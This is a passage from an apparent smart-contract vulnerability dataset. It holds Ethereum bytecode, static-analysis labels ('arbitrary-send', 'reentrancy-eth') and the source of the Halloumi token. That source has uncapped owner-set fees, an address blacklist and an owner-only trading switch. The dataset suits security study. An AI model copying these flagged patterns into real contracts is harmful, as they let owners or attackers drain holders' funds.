f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117c45780601f10611799576101008083540402835291602001916117c4565b820191906000526020600020905b8154815290600101906020018083116117a757829003601f168201915b5050505050905081565b60006001600b602060405190810160405280868152509080600181540180825580915050906001820390600052602060002001600090919290919091506000820151816000019080519060200190611827929190611c4b565b505050039050336006600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506118d26001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2d90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fc617f3fbc3f6a35c0509a5f01fb4907e9c6e94cff260c3fe739bafd93cf2240581846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561197e578082015181840152602081019050611963565b50505050905090810190601f1680156119ab5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a1816008600083815260200190815260200160002081905550505050565b60008060008414156119eb5760009150611a0a565b82840290508284828115156119fc57fe5b04141515611a0657fe5b8091505b5092915050565b6000808284811515611a1f57fe5b0490508091505092915050565b611a7f6001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2d90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b156001600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816006600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211151515611c2257fe5b818303905092915050565b6000808284019050838110151515611c4157fe5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611c8c57805160ff1916838001178555611cba565b82800160010185558215611cba579182015b82811115611cb9578251825591602001919060010190611c9e565b5b509050611cc79190611ccb565b5090565b611ced91905b80821115611ce9576000816000905550600101611cd1565b5090565b905600a165627a7a723058206d3a320d9b708d6bbec26e6aea419ed1e7378acaeedd5aff815d1786bcffa3300029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,144 |
0xad809b54dc0997c5196b964e180e9bc3fb552ae4
|
/**
* https://t.me/halloumiETH
/ https://twitter.com/HalloumiETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HalloumiETH is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Halloumi";
string private constant _symbol = "LUMI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 12;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 14;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x46326fAd8909BF8512d346dF499479a5cf61714e);
address payable private _marketingAddress = payable(0x46326fAd8909BF8512d346dF499479a5cf61714e);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 75000 * 10**9; //.75%
uint256 public _maxWalletSize = 300000 * 10**9; //3%
uint256 public _swapTokensAtAmount = 50000 * 10**9; //.5%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051a578063dd62ed3e1461053a578063ea1644d514610580578063f2fde38b146105a057600080fd5b8063a2a957bb14610495578063a9059cbb146104b5578063bfd79284146104d5578063c3c8cd801461050557600080fd5b80638f70ccf7116100d15780638f70ccf7146104125780638f9a55c01461043257806395d89b411461044857806398a5c3151461047557600080fd5b806374010ece146103be5780637d1db4a5146103de5780638da5cb5b146103f457600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103545780636fc3eaec1461037457806370a0823114610389578063715018a6146103a957600080fd5b8063313ce567146102f857806349bd5a5e146103145780636b9990531461033457600080fd5b80631694505e116101a05780631694505e1461026657806318160ddd1461029e57806323b872dd146102c25780632fd689e3146102e257600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023657600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab6565b6105c0565b005b3480156101ff57600080fd5b5060408051808201909152600881526748616c6c6f756d6960c01b60208201525b60405161022d9190611be8565b60405180910390f35b34801561024257600080fd5b50610256610251366004611a06565b61065f565b604051901515815260200161022d565b34801561027257600080fd5b50601454610286906001600160a01b031681565b6040516001600160a01b03909116815260200161022d565b3480156102aa57600080fd5b50662386f26fc100005b60405190815260200161022d565b3480156102ce57600080fd5b506102566102dd3660046119c5565b610676565b3480156102ee57600080fd5b506102b460185481565b34801561030457600080fd5b506040516009815260200161022d565b34801561032057600080fd5b50601554610286906001600160a01b031681565b34801561034057600080fd5b506101f161034f366004611952565b6106df565b34801561036057600080fd5b506101f161036f366004611b82565b61072a565b34801561038057600080fd5b506101f1610772565b34801561039557600080fd5b506102b46103a4366004611952565b6107bd565b3480156103b557600080fd5b506101f16107df565b3480156103ca57600080fd5b506101f16103d9366004611b9d565b610853565b3480156103ea57600080fd5b506102b460165481565b34801561040057600080fd5b506000546001600160a01b0316610286565b34801561041e57600080fd5b506101f161042d366004611b82565b610882565b34801561043e57600080fd5b506102b460175481565b34801561045457600080fd5b506040805180820190915260048152634c554d4960e01b6020820152610220565b34801561048157600080fd5b506101f1610490366004611b9d565b6108ca565b3480156104a157600080fd5b506101f16104b0366004611bb6565b6108f9565b3480156104c157600080fd5b506102566104d0366004611a06565b610937565b3480156104e157600080fd5b506102566104f0366004611952565b60106020526000908152604090205460ff1681565b34801561051157600080fd5b506101f1610944565b34801561052657600080fd5b506101f1610535366004611a32565b610998565b34801561054657600080fd5b506102b461055536600461198c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058c57600080fd5b506101f161059b366004611b9d565b610a39565b3480156105ac57600080fd5b506101f16105bb366004611952565b610a68565b6000546001600160a01b031633146105f35760405162461bcd60e51b81526004016105ea90611c3d565b60405180910390fd5b60005b815181101561065b5760016010600084848151811061061757610617611d84565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065381611d53565b9150506105f6565b5050565b600061066c338484610b52565b5060015b92915050565b6000610683848484610c76565b6106d584336106d085604051806060016040528060288152602001611dc6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b2565b610b52565b5060019392505050565b6000546001600160a01b031633146107095760405162461bcd60e51b81526004016105ea90611c3d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107545760405162461bcd60e51b81526004016105ea90611c3d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107a757506013546001600160a01b0316336001600160a01b0316145b6107b057600080fd5b476107ba816111ec565b50565b6001600160a01b03811660009081526002602052604081205461067090611271565b6000546001600160a01b031633146108095760405162461bcd60e51b81526004016105ea90611c3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461087d5760405162461bcd60e51b81526004016105ea90611c3d565b601655565b6000546001600160a01b031633146108ac5760405162461bcd60e51b81526004016105ea90611c3d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f45760405162461bcd60e51b81526004016105ea90611c3d565b601855565b6000546001600160a01b031633146109235760405162461bcd60e51b81526004016105ea90611c3d565b600893909355600a91909155600955600b55565b600061066c338484610c76565b6012546001600160a01b0316336001600160a01b0316148061097957506013546001600160a01b0316336001600160a01b0316145b61098257600080fd5b600061098d306107bd565b90506107ba816112f5565b6000546001600160a01b031633146109c25760405162461bcd60e51b81526004016105ea90611c3d565b60005b82811015610a335781600560008686858181106109e4576109e4611d84565b90506020020160208101906109f99190611952565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2b81611d53565b9150506109c5565b50505050565b6000546001600160a01b03163314610a635760405162461bcd60e51b81526004016105ea90611c3d565b601755565b6000546001600160a01b03163314610a925760405162461bcd60e51b81526004016105ea90611c3d565b6001600160a01b038116610af75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ea565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ea565b6001600160a01b038216610c155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ea565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cda5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ea565b6001600160a01b038216610d3c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ea565b60008111610d9e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ea565b6000546001600160a01b03848116911614801590610dca57506000546001600160a01b03838116911614155b156110ab57601554600160a01b900460ff16610e63576000546001600160a01b03848116911614610e635760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ea565b601654811115610eb55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ea565b6001600160a01b03831660009081526010602052604090205460ff16158015610ef757506001600160a01b03821660009081526010602052604090205460ff16155b610f4f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ea565b6015546001600160a01b03838116911614610fd45760175481610f71846107bd565b610f7b9190611ce3565b10610fd45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ea565b6000610fdf306107bd565b601854601654919250821015908210610ff85760165491505b80801561100f5750601554600160a81b900460ff16155b801561102957506015546001600160a01b03868116911614155b801561103e5750601554600160b01b900460ff165b801561106357506001600160a01b03851660009081526005602052604090205460ff16155b801561108857506001600160a01b03841660009081526005602052604090205460ff16155b156110a857611096826112f5565b4780156110a6576110a6476111ec565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ed57506001600160a01b03831660009081526005602052604090205460ff165b8061111f57506015546001600160a01b0385811691161480159061111f57506015546001600160a01b03848116911614155b1561112c575060006111a6565b6015546001600160a01b03858116911614801561115757506014546001600160a01b03848116911614155b1561116957600854600c55600954600d555b6015546001600160a01b03848116911614801561119457506014546001600160a01b03858116911614155b156111a657600a54600c55600b54600d555b610a338484848461147e565b600081848411156111d65760405162461bcd60e51b81526004016105ea9190611be8565b5060006111e38486611d3c565b95945050505050565b6012546001600160a01b03166108fc6112068360026114ac565b6040518115909202916000818181858888f1935050505015801561122e573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112498360026114ac565b6040518115909202916000818181858888f1935050505015801561065b573d6000803e3d6000fd5b60006006548211156112d85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ea565b60006112e26114ee565b90506112ee83826114ac565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133d5761133d611d84565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139157600080fd5b505afa1580156113a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c9919061196f565b816001815181106113dc576113dc611d84565b6001600160a01b0392831660209182029290920101526014546114029130911684610b52565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143b908590600090869030904290600401611c72565b600060405180830381600087803b15801561145557600080fd5b505af1158015611469573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148b5761148b611511565b61149684848461153f565b80610a3357610a33600e54600c55600f54600d55565b60006112ee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611636565b60008060006114fb611664565b909250905061150a82826114ac565b9250505090565b600c541580156115215750600d54155b1561152857565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611551876116a2565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158390876116ff565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b29086611741565b6001600160a01b0389166000908152600260205260409020556115d4816117a0565b6115de84836117ea565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162391815260200190565b60405180910390a3505050505050505050565b600081836116575760405162461bcd60e51b81526004016105ea9190611be8565b5060006111e38486611cfb565b6006546000908190662386f26fc1000061167e82826114ac565b82101561169957505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116bf8a600c54600d5461180e565b92509250925060006116cf6114ee565b905060008060006116e28e878787611863565b919e509c509a509598509396509194505050505091939550919395565b60006112ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b2565b60008061174e8385611ce3565b9050838110156112ee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ea565b60006117aa6114ee565b905060006117b883836118b3565b306000908152600260205260409020549091506117d59082611741565b30600090815260026020526040902055505050565b6006546117f790836116ff565b6006556007546118079082611741565b6007555050565b6000808080611828606461182289896118b3565b906114ac565b9050600061183b60646118228a896118b3565b905060006118538261184d8b866116ff565b906116ff565b9992985090965090945050505050565b600080808061187288866118b3565b9050600061188088876118b3565b9050600061188e88886118b3565b905060006118a08261184d86866116ff565b939b939a50919850919650505050505050565b6000826118c257506000610670565b60006118ce8385611d1d565b9050826118db8583611cfb565b146112ee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ea565b803561193d81611db0565b919050565b8035801515811461193d57600080fd5b60006020828403121561196457600080fd5b81356112ee81611db0565b60006020828403121561198157600080fd5b81516112ee81611db0565b6000806040838503121561199f57600080fd5b82356119aa81611db0565b915060208301356119ba81611db0565b809150509250929050565b6000806000606084860312156119da57600080fd5b83356119e581611db0565b925060208401356119f581611db0565b929592945050506040919091013590565b60008060408385031215611a1957600080fd5b8235611a2481611db0565b946020939093013593505050565b600080600060408486031215611a4757600080fd5b833567ffffffffffffffff80821115611a5f57600080fd5b818601915086601f830112611a7357600080fd5b813581811115611a8257600080fd5b8760208260051b8501011115611a9757600080fd5b602092830195509350611aad9186019050611942565b90509250925092565b60006020808385031215611ac957600080fd5b823567ffffffffffffffff80821115611ae157600080fd5b818501915085601f830112611af557600080fd5b813581811115611b0757611b07611d9a565b8060051b604051601f19603f83011681018181108582111715611b2c57611b2c611d9a565b604052828152858101935084860182860187018a1015611b4b57600080fd5b600095505b83861015611b7557611b6181611932565b855260019590950194938601938601611b50565b5098975050505050505050565b600060208284031215611b9457600080fd5b6112ee82611942565b600060208284031215611baf57600080fd5b5035919050565b60008060008060808587031215611bcc57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1557858101830151858201604001528201611bf9565b81811115611c27576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc25784516001600160a01b031683529383019391830191600101611c9d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf657611cf6611d6e565b500190565b600082611d1857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3757611d37611d6e565b500290565b600082821015611d4e57611d4e611d6e565b500390565b6000600019821415611d6757611d67611d6e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ba57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204fb0036a1ca1c4a5eb284dcc9de7bfca17bce96cf486888a41efe6abbe6a21b764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,145 |
0xba20586b7d98539d8dd9f459b2c76cb4852e98ca
|
pragma solidity ^0.4.24;
// File: contracts/zeppelin/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
